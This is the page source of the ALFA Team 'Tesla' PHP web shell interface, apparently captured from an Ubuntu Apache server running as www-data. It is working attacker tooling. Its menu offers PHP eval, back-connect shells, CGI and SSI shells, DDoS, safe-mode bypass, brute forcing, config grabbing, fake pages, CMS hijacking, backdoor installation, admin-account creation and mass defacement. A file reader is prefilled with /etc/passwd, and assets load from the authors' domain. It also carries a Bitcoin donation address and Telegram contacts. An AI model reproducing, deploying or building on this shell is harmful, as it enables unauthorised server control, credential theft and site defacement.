a=e.getAttribute("target"),t=e.getAttribute("multi"),l=a.indexOf(":hover");if(t){var o=JSON.parse(atob(t)),r="";for(i in o.multi_selector)r+=i+"{"+o.multi_selector[i].replace(/{color}/g,e.value)+"}";evalCss(r)}-1==l||t?($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,".header_values"==a&&(a=".header,.header_values"),d.querySelectorAll(a).forEach(function(a){a.style.color=e.value})):($("input_"+a.replace(".","")).value=e.value,$("gui_"+a.replace(".","")).value=e.value,evalCss(a+"{color: "+e.value+";}"))}function importConfig(e){var a=e.target,t=new FileReader;t.onload=function(){var e=t.result;try{reloadColors(JSON.parse(e))}catch(e){alert("Config is invalid...!")}$("importFileBtn").value=""},t.readAsText(a.files[0])}function checkBox(e){var a=alfa_current_fm_id,t=e.checked;d.querySelectorAll("#filesman_holder_"+a+" form[name=files] input[type=checkbox]").forEach(function(e){e.checked=t})}function runcgi(e){if($("cgiframe").style.height="unset",d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Cgi Shell",d.querySelector("#cgiloader .opt-title").innerHTML="Cgi Shell",cgi_is_minimized&&cgi_lang==e&&(showEditor("cgiloader"),0==php_temrinal_using_cgi))return!1;php_temrinal_using_cgi=!1,_Ajax(d.URL,"a="+alfab64("cgishell")+"&alfa1="+alfab64(e)+"&ajax="+alfab64("true"),function(a){d.body.style.overflow="hidden",$("cgiloader").style.display="block",d.querySelector("#cgiframe .terminal-tabs").innerHTML="",d.querySelector("#cgiframe .terminal-contents").innerHTML=a,cgi_lang=e,cgi_is_minimized&&($("cgiloader-minimized").setAttribute("class","minimized-hide"),setTimeout(function(){$("cgiloader").removeAttribute("class"),is_minimized&&($("editor-minimized").style.top="30%")},1e3))})}Element.prototype.appendAfter=function(e){e.parentNode.insertBefore(this,e.nextSibling)};
</script>
</head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" style="overflow: visible;"><form style="display:none;" id="dlForm" action="" target="_blank" method="post">
<input type="hidden" name="a" value="dlfile">
<input type="hidden" name="c" value="">
<input type="hidden" name="file" value="">
</form>
<input type="file" style="display:none;" id="importFileBtn" onchange="importConfig(event);">
<div id="a_loader"><img src="http://solevisible.com/images/loader.svg"></div>
<div id="up_bar_holder"></div>
<div class="whole">
<form method="post" name="mf" style="display:none;">
<input type="hidden" name="a" value="FilesMan">
<input type="hidden" name="c" value="/var/www/html/"><input type="hidden" name="alfa1" value=""><input type="hidden" name="alfa2" value=""><input type="hidden" name="alfa3" value=""><input type="hidden" name="alfa4" value=""><input type="hidden" name="alfa5" value=""><input type="hidden" name="alfa6" value=""><input type="hidden" name="alfa7" value=""><input type="hidden" name="alfa8" value=""><input type="hidden" name="alfa9" value=""><input type="hidden" name="alfa10" value=""><input type="hidden" name="charset" value="">
</form>
<div id="hidden_sh"><a class="alert_green" target="_blank" href="?solevisible"><span style="color:#42ff59;">Tesla</span><br><small>Version: <span class="hidden_shell_version">4.1</span></small></a></div>
<div class="header"><table width="100%" border="0">
<tbody><tr>
<td width="3%"><span class="header_vars">Uname:</span></td>
<td colspan="2"><span class="header_values" id="header_uname">Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64</span></td>
</tr>
<tr>
<td><span class="header_vars">User:</span></td>
<td><span class="header_values" id="header_userid">33 [ www-data ] </span><span class="header_vars"> Group: </span><span class="header_values" id="header_groupid">33 [ www-data ]</span> </td>
<td width="12%" rowspan="8"><img style="border-radius:100px;" width="300" height="170" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png"></td>
</tr>
<tr>
<td><span class="header_vars">PHP:</span></td>
<td><b>7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </b><span class="header_vars"> Safe Mode: <span class="header_on">OFF</span></span></td>
</tr>
<tr>
<td><span class="header_vars">ServerIP:</span></td>
<td><b>::1</b><div style="display:inline;display:none;" class="flag-holder"></div> <span class="header_vars">Your IP:</span><b> ::1</b><div style="display:inline;display:none;" class="flag-holder"></div></td>
</tr>
<tr>
<td width="3%"><span class="header_vars">DateTime:</span></td>
<td colspan="2"><b>2023-02-12 17:45:32</b></td>
</tr>
<tr>
<td><span class="header_vars">Domains:</span></td>
<td width="76%"><span class="header_values" id="header_domains">Cant Read [ /etc/named.conf ]</span></td>
</tr>
<tr>
<td height="16"><span class="header_vars">HDD:</span></td>
<td><span class="header_vars">Total:</span><b>216.08 GB </b><span class="header_vars">Free:</span><b>192.28 GB [88%]</b></td>
</tr><tr><td height="18" colspan="2"><span class="header_vars">Useful : </span><span class="header_values" style="margin-left: 4px;">gcc</span><span class="header_values" style="margin-left: 4px;">cc</span><span class="header_values" style="margin-left: 4px;">ld</span><span class="header_values" style="margin-left: 4px;">make</span><span class="header_values" style="margin-left: 4px;">php</span><span class="header_values" style="margin-left: 4px;">perl</span><span class="header_values" style="margin-left: 4px;">tar</span><span class="header_values" style="margin-left: 4px;">gzip</span><span class="header_values" style="margin-left: 4px;">nc</span></td>
</tr>
<tr>
<td height="0" colspan="2"><span class="header_vars">Downloader: </span><span class="header_values" style="margin-left: 4px;">wget</span><span class="header_values" style="margin-left: 4px;">curl</span><span class="header_values" style="margin-left: 4px;">lwp-mirror</span></td>
</tr><tr>
<td height="16" colspan="2"><span class="header_vars">Disable Functions: </span><b><span class="header_show_all">All Functions Accessible</span></b></td>
</tr>
<tr>
<td height="16" colspan="2"><span class="header_vars">CURL :</span><span class="header_on"> ON </span> | <span class="header_vars">SSH2 : </span><span class="header_off"> OFF </span> | <span class="header_vars">Magic Quotes : </span><span class="header_off">OFF</span> | <span class="header_vars"> MySQL :</span><span class="header_off"> OFF </span> | <span class="header_vars">MSSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> PostgreSQL :</span><span class="header_off"> OFF </span> | <span class="header_vars"> Oracle :</span><span class="header_off"> OFF </span> | <span class="header_vars"> CGI :</span> <span class="header_off" id="header_cgishell">OFF</span></td><td width="15%"><div id="alfa_solevisible"><center><a href="https://t.me/solevisible" target="_blank"><span><font class="solevisible-text" color="#0F0">Sole Sad & Invisible</font></span></a></center></div></td>
</tr>
<tr>
<td height="11" colspan="3"><span class="header_vars">Open_basedir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars">Safe_mode_exec_dir :</span><b><span class="header_none"> NONE </span></b> | <span class="header_vars"> Safe_mode_include_dir :</span><span class="header_none"> NONE </span></td>
</tr>
<tr>
<td height="11"><span class="header_vars">SoftWare: </span></td>
<td colspan="2"><b>Apache/2.4.52 (Ubuntu)</b></td>
</tr><tr>
<td height="12"><span class="header_vars">PWD:</span></td>
<td colspan="2"><span id="header_cwd"><a class="header_pwd" onclick="g("FilesMan","/")" path="/" href="#action=fileman&path=/">/</a><a class="header_pwd" onclick="g("FilesMan","/var/")" path="/var/" href="#action=fileman&path=/var/">var/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/")" path="/var/www/" href="#action=fileman&path=/var/www/">www/</a><a class="header_pwd" onclick="g("FilesMan","/var/www/html/")" path="/var/www/html/" href="#action=fileman&path=/var/www/html/">html/</a> </span><a href="#action=fileman&path=/var/www/html" onclick="g('FilesMan','/var/www/html','','','')"><span class="home_shell">[ Home Shell ]</span> </a></td>
</tr>
</tbody></table>
</div>
<div id="meunlist">
<ul>
<li><a id="menu_opt_proc" href="#action=options&path=/var/www/html/&opt=proc" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=proc';g('proc',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Process</a></li>
<li><a id="menu_opt_phpeval" href="#action=options&path=/var/www/html/&opt=phpeval" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=phpeval';g('phpeval',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Eval</a></li>
<li><a id="menu_opt_sql" href="#action=options&path=/var/www/html/&opt=sql" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=sql';g('sql',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SQL Manager</a></li>
<li><a id="menu_opt_dumper" href="#action=options&path=/var/www/html/&opt=dumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dumper';g('dumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Database Dumper</a></li>
<li><a id="menu_opt_coldumper" href="#action=options&path=/var/www/html/&opt=coldumper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=coldumper';g('coldumper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Column Dumper</a></li>
<li><a id="menu_opt_hash" href="#action=options&path=/var/www/html/&opt=hash" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=hash';g('hash',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">En-Decoder</a></li>
<li><a id="menu_opt_connect" href="#action=options&path=/var/www/html/&opt=connect" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=connect';g('connect',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BC</a></li>
<li><a id="menu_opt_zoneh" href="#action=options&path=/var/www/html/&opt=zoneh" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=zoneh';g('zoneh',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ZONE-H</a></li>
<li><a id="menu_opt_dos" href="#action=options&path=/var/www/html/&opt=dos" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=dos';g('dos',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DDOS</a></li>
<li><a id="menu_opt_safe" href="#action=options&path=/var/www/html/&opt=safe" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=safe';g('safe',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">ByPasser</a></li>
<li><a id="menu_opt_cgishell" href="#action=options&path=/var/www/html/&opt=cgishell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cgishell';g('cgishell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Cgi Shell</a></li>
<li><a id="menu_opt_ssiShell" href="#action=options&path=/var/www/html/&opt=ssiShell" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ssiShell';g('ssiShell',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">SSI SHELL</a></li>
<li><a id="menu_opt_cpcrack" href="#action=options&path=/var/www/html/&opt=cpcrack" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cpcrack';g('cpcrack',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Hash Tools</a></li>
<li><a id="menu_opt_portscanner" href="#action=options&path=/var/www/html/&opt=portscanner" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=portscanner';g('portscanner',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Port Scaner</a></li>
<li><a id="menu_opt_basedir" href="#action=options&path=/var/www/html/&opt=basedir" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=basedir';g('basedir',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Open BaseDir</a></li>
<li><a id="menu_opt_mail" href="#action=options&path=/var/www/html/&opt=mail" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=mail';g('mail',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Mail</a></li>
<li><a id="menu_opt_ziper" href="#action=options&path=/var/www/html/&opt=ziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ziper';g('ziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Compressor</a></li>
<li><a id="menu_opt_deziper" href="#action=options&path=/var/www/html/&opt=deziper" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=deziper';g('deziper',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">DeCompressor</a></li>
<li><a id="menu_opt_IndexChanger" href="#action=options&path=/var/www/html/&opt=IndexChanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=IndexChanger';g('IndexChanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Index Changer</a></li>
<li><a id="menu_opt_pwchanger" href="#action=options&path=/var/www/html/&opt=pwchanger" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=pwchanger';g('pwchanger',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Add New Admin</a></li>
<li><a id="menu_opt_ShellInjectors" href="#action=options&path=/var/www/html/&opt=ShellInjectors" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=ShellInjectors';g('ShellInjectors',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Shell Injectors</a></li>
<li><a id="menu_opt_php2xml" href="#action=options&path=/var/www/html/&opt=php2xml" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=php2xml';g('php2xml',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">PHP2XML</a></li>
<li><a id="menu_opt_cloudflare" href="#action=options&path=/var/www/html/&opt=cloudflare" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cloudflare';g('cloudflare',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CloudFlare</a></li>
<li><a id="menu_opt_Whmcs" href="#action=options&path=/var/www/html/&opt=Whmcs" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Whmcs';g('Whmcs',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whmcs DeCoder</a></li>
<li><a id="menu_opt_symlink" href="#action=options&path=/var/www/html/&opt=symlink" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=symlink';g('symlink',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Symlink</a></li>
<li><a id="menu_opt_MassDefacer" href="#action=options&path=/var/www/html/&opt=MassDefacer" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=MassDefacer';g('MassDefacer',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Mass Defacer</a></li>
<li><a id="menu_opt_Crackers" href="#action=options&path=/var/www/html/&opt=Crackers" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=Crackers';g('Crackers',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">BruteForcer</a></li>
<li><a id="menu_opt_searcher" href="#action=options&path=/var/www/html/&opt=searcher" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=searcher';g('searcher',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Searcher</a></li>
<li><a id="menu_opt_config_grabber" href="#action=options&path=/var/www/html/&opt=config_grabber" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=config_grabber';g('config_grabber',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Config Grabber</a></li>
<li><a id="menu_opt_fakepage" href="#action=options&path=/var/www/html/&opt=fakepage" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=fakepage';g('fakepage',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Fake Page</a></li>
<li><a id="menu_opt_archive_manager" href="#action=options&path=/var/www/html/&opt=archive_manager" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=archive_manager';g('archive_manager',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Archive Manager</a></li>
<li><a id="menu_opt_cmshijacker" href="#action=options&path=/var/www/html/&opt=cmshijacker" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=cmshijacker';g('cmshijacker',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">CMS Hijacker</a></li>
<li><a id="menu_opt_remotedl" href="#action=options&path=/var/www/html/&opt=remotedl" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=remotedl';g('remotedl',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remote Upload</a></li>
<li><a id="menu_opt_inbackdoor" href="#action=options&path=/var/www/html/&opt=inbackdoor" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=inbackdoor';g('inbackdoor',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Install BackDoor</a></li>
<li><a id="menu_opt_whois" href="#action=options&path=/var/www/html/&opt=whois" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=whois';g('whois',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Whois</a></li>
<li><a id="menu_opt_selfrm" href="#action=options&path=/var/www/html/&opt=selfrm" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=selfrm';g('selfrm',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Remove Shell</a></li>
</ul><div style="text-align: center;padding: 6px;"><a id="menu_opt_settings" href="#action=options&path=/var/www/html/&opt=settings" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=settings';g('settings',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">Alfa Settings</a><a style="display:none;" id="menu_opt_market" href="#action=options&path=/var/www/html/&opt=market" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=market';g('market',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;"><span class="alfa_plus">Alfa market</span></a><a id="menu_opt_aboutus" href="#action=options&path=/var/www/html/&opt=aboutus" class="menu_options" onclick="alfa_can_add_opt=true;this.href='#action=options&path='+c_+'&opt=aboutus';g('aboutus',null,'','','');d.querySelector('.opt-title').innerHTML=this.innerHTML;">About Us</a></div></div><div id="filesman_tabs"><div onmouseover="alfaFilesmanTabShowTitle(this,event);" onmouseout="alfaFilesmanTabHideTitle(this,event);" fm_counter="1" path="/var/www/html/" fm_id="1" id="filesman_tab_1" class="filesman_tab filesman-tab-active" onclick="filesmanTabController(this);"><img class="folder-tab-icon" src="http://solevisible.com/icons/menu/folder2.svg"> <span>File manager</span></div><div style="display:inline-block;" id="filesman_tabs_child"></div><div id="filesman_new_tab" class="filesman_tab" style="background: maroon;" onclick="alfaFilesManNewTab(c_,'/',1);">New Tab +</div></div><script>alfa1_=alfa2_=alfa3_=""</script><div style="position: relative; min-height: 300px;" fm_id="1" id="filesman_holder_1" class="ajaxarea filesman-active-content"><div id="loader_filesman_holder_1" class="options-loader-holder"><div parent="filesman_holder_1" onclick="alfaAjaxController(this);" class="stopAjax">[ Stop it ]</div><div class="alfateam-loader-text">ALFA TEAM</div><div class="alfa-ajax-error">500 ( Internal Server Error )</div></div><div class="header"></div></div><table class="foot" width="100%" border="0" cellspacing="3" cellpadding="0">
<tbody><tr>
<td width="17%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;"><span class="footer_text">Make File : </span><br><input class="dir" type="text" name="f" value=""> <input type="submit" value=" "></form></td>
<td width="21%"><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;"><span class="footer_text">Make Dir : </span><br><input class="dir" type="text" name="d" value=" "> <input type="submit" value=" "></form></td>
<td width="22%"><form onsubmit="g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;"><span class="footer_text">Delete : </span><br><input class="dir" type="text" name="del" value=" "> <input type="submit" value=" "></form></td>
<td width="19%"><form onsubmit="if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;"><span class="footer_text">Chmod : </span><br><input class="dir" type="text" name="f" value=" "> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="2"><form onsubmit="g("FilesMan",this.c.value,"");return false;"><span class="footer_text">Change Dir : </span><br><input class="foottable" id="footer_cwd" type="text" name="c" value="/var/www/html/"> <input type="submit" value=" "></form></td>
<td colspan="2"><form onsubmit="editor(this.file.value,'view','','','','file');return false;"><span><span class="footer_text">Read File : </span></span><br><input class="foottable" type="text" name="file" value="/etc/passwd"> <input type="submit" value=" "></form></td>
</tr>
<tr>
<td colspan="4"><form style="margin-top: 10px;" onsubmit="return false;" autocomplete="off"><span><span class="footer_text">Execute :</span><br><button onclick="alfaOpenPhpTerminal();return false;" class="foottable alfa_custom_cmd_btn"><img style="width:28px;vertical-align: middle;" src="http://solevisible.com/icons/menu/terminal.svg"> Terminal</button><br></span></form></td>
</tr>
<tr>
<td colspan="4"><form onsubmit="u(this);return false;" name="footer_form" method="post" enctype="multipart/form-data">
<input type="hidden" name="a" value="FilesMAn">
<input type="hidden" name="c" value="/var/www/html/">
<input type="hidden" name="ajax" value="true">
<input type="hidden" name="alfa1" value="uploadFile">
<input type="hidden" name="charset" value="">
<span class="footer_text">Upload file: </span><span><button id="addup" onclick="addnewup();return false;"><b>+</b></button></span><p id="pfooterup"><label class="inputfile" for="footerup"><span id="__fnameup"></span> <strong> Choose a file</strong></label><input id="footerup" class="toolsInp" type="file" name="f[]" onchange="handleup(this,0);" multiple=""></p><input type="submit" name="submit" value=" "></form><div id="alfa-copyright"><span class="copyright">[ ./AlfaTeam © 2012-2023 ]</span><br><span><a href="javascript:void(0);" onclick="alert("BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo");" style="color: #E91E63;text-decoration: none;">Donate Us !</a></span> <span style="letter-spacing: 2px;color: #dfff00;">solevisible[at]gmail.com</span> <span><a style="color: #ff6060;text-decoration: none;" target="_blank" href="https://telegram.me/solevisible">@solevisible</a></span></div></td>
</tr>
</tbody></table>
</div>
<div id="options_window" style="background: rgba(0, 0, 0, 0.69); display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("options_window");"></div><div onclick="editorClose("options_window");" class="close-button"></div></div></div><div style="height:100%;" class="content_options_holder"><div class="options_tab"></div><div class="options_content" style="margin-left:14px;margin-right:30px;background:#000;overflow:auto;"></div></div></div></div>
<div id="database_window" style="background:rgba(0, 0, 0, 0.69);"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title">Sql Manager</div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("database_window");"></div><div onclick="editorClose("database_window");" class="close-button"></div></div></div><div class="content_options_holder" style="margin-left:14px;margin-right:30px;background:#000;max-height:90%;"><div class="sql-tabs"></div><div class="sql-contents" style="max-height: 85vh;"></div></div></div></div>
<div id="cgiloader" style="display: none;"><div class="editor-wrapper"><div class="editor-header"><div class="opt-title"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("cgiloader");"></div><div onclick="editorClose("cgiloader");" class="close-button"></div></div></div><div id="cgiframe" style="position:relative;margin-left:14px;margin-right:30px;"><div class="terminal-tabs"></div><div style="height:90%;" class="terminal-contents"></div></div></div></div>
<div id="editor" style="display:none;"><div class="editor-wrapper"><div class="editor-header"><div class="editor-path"></div><div class="editor-controller"><div class="editor-minimize" onclick="editorMinimize("editor");"></div><div onclick="editorClose("editor");" class="close-button"></div></div></div><div onclick="historyPanelController(this);" mode="visible" class="history-panel-controller"><<</div><div class="editor-explorer"><div class="hheader"><div class="history-clear" onclick="clearEditorHistory();">Clear all</div><div class="hheader-text">History</div><div class="editor-search"><input type="text" style="text-align:center;" id="search-input" placeholder="search"></div></div><div class="history-list"></div></div><div class="editor-modal"><div class="editor-body"><div class="editor-content"><div class="editor-tabs"></div><div class="editor-content-holder"></div></div></div></div></div></div>
<div id="update-content"></div>
<div id="database_window-minimized" onclick="showEditor("database_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div class="minimized-text" style="top: 15px;">Database</div></div></div>
<div id="options_window-minimized" onclick="showEditor("options_window");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 4px;" class="minimized-text">Options</div></div></div>
<div id="editor-minimized" onclick="showEditor("editor");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 2px;" class="minimized-text">Editor</div></div></div>
<div id="cgiloader-minimized" onclick="showEditor("cgiloader");"><div class="minimized-wrapper"><span class="options_min_badge">0</span><div style="top: 12px;" class="minimized-text">Cgi Shell</div></div></div>
<div id="rightclick_menu">
<a target="_blank" href="" name="newtab"><img src="http://solevisible.com/icons/menu/newtab.svg"> Open in new tab</a>
<a target="_blank" href="" name="link"><img src="http://solevisible.com/icons/menu/link.svg"> Open file directly</a>
<a href="javascript:void(0);" name="download"><img src="http://solevisible.com/icons/menu/download2.svg"> Download</a>
<a href="" name="view"><img src="http://solevisible.com/icons/menu/view.svg"> View</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="view_archive"><img src="http://solevisible.com/icons/menu/view.svg"> View Archive</a>
<a href="" name="edit"><img src="http://solevisible.com/icons/menu/edit.svg"> Edit</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "move");" ftype="" path="" fname="" name="move"><img src="http://solevisible.com/icons/menu/move.svg"> Move</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "copy");" ftype="" path="" fname="" name="copy"><img src="http://solevisible.com/icons/menu/copy.svg"> Copy</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "rename");" ftype="" path="" fname="" name="rename"><img src="http://solevisible.com/icons/menu/rename.svg"> Rename</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "modify");" ftype="" path="" fname="" name="modify"><img src="http://solevisible.com/icons/menu/time.svg"> Modify</a>
<a href="javascript:void(0);" onclick="alfaPopupAction(this, "permission");" name="permission"><img src="http://solevisible.com/icons/menu/key.svg"> Change Permissions</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="compress"><img src="http://solevisible.com/icons/menu/resize.svg"> Compress</a>
<a href="javascript:void(0);" onclick="alfaSyncMenuToOpt(this);" path="" fname="" name="extract"><img src="http://solevisible.com/icons/menu/increase.svg"> Extract</a>
<a href="javascript:void(0);" name="delete"><img src="http://solevisible.com/icons/menu/delete.svg"> Delete</a>
</div>
<div id="filesman-tab-full-path"></div>
<div id="alert-area" class="alert-area"><div class="alert-box alert-error"><div style="display: inline-block; margin-right: 10px;"><img src="http://solevisible.com/icons/menu/warning.svg" style="width: 30px;"></div><div style="display: inline-block;"><div class="alert-content-title">Ajax</div><div class="alert-content">Internal Server Error</div></div><a class="alert-close" href="#"></a></div></div>
<div class="cl-popup-fixed" style="display:none;">
<div id="shortcutMenu-holder">
<div class="popup-head"></div>
<form autocomplete="off" onsubmit="return false;">
<label class="old-path-lbl"></label>
<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;" class="old-path-content"></div>
<label style="margin-top:10px;" class="new-filename-lbl">New file name</label>
<input type="text" name="fname">
<div class="perm-table-holder">
<table>
<tbody>
<tr>
<td><b>Mode</b></td>
<td>User</td>
<td>Group</td>
<td>World</td>
</tr>
<tr>
<td>Read</td>
<td><input type="checkbox" name="ur" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="gr" value="4" onclick="calcperm();"></td>
<td><input type="checkbox" name="wr" value="4" onclick="calcperm();"></td>
</tr>
<tr>
<td>Write</td>
<td><input type="checkbox" name="uw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="gw" value="2" onclick="calcperm();"></td>
<td><input type="checkbox" name="ww" value="2" onclick="calcperm();"></td>
</tr>
<tr>
<td>Execute</td>
<td><input type="checkbox" name="ux" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="gx" value="1" onclick="calcperm();"></td>
<td><input type="checkbox" name="wx" value="1" onclick="calcperm();"></td>
</tr>
<tr>
<td>Permission</td>
<td><input style="width:60px;" type="text" name="u" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "u", ["u"]);"></td>
<td><input style="width:60px;" type="text" name="g" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "g", ["g"]);"></td>
<td><input style="width:60px;" type="text" name="w" maxlength="1" oninput="this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, "w", ["w"]);"></td>
</tr>
</tbody>
</table>
</div>
</form>
<div class="popup-foot">
<button style="background: #2b5225;" name="accept" action="" onclick="alfaPopUpDoAction(this);"></button>
<button style="background: #9e2c2c;" onclick="d.querySelector(".cl-popup-fixed").style.display="none";">Cancell</button>
</div>
</div>
</div><script>
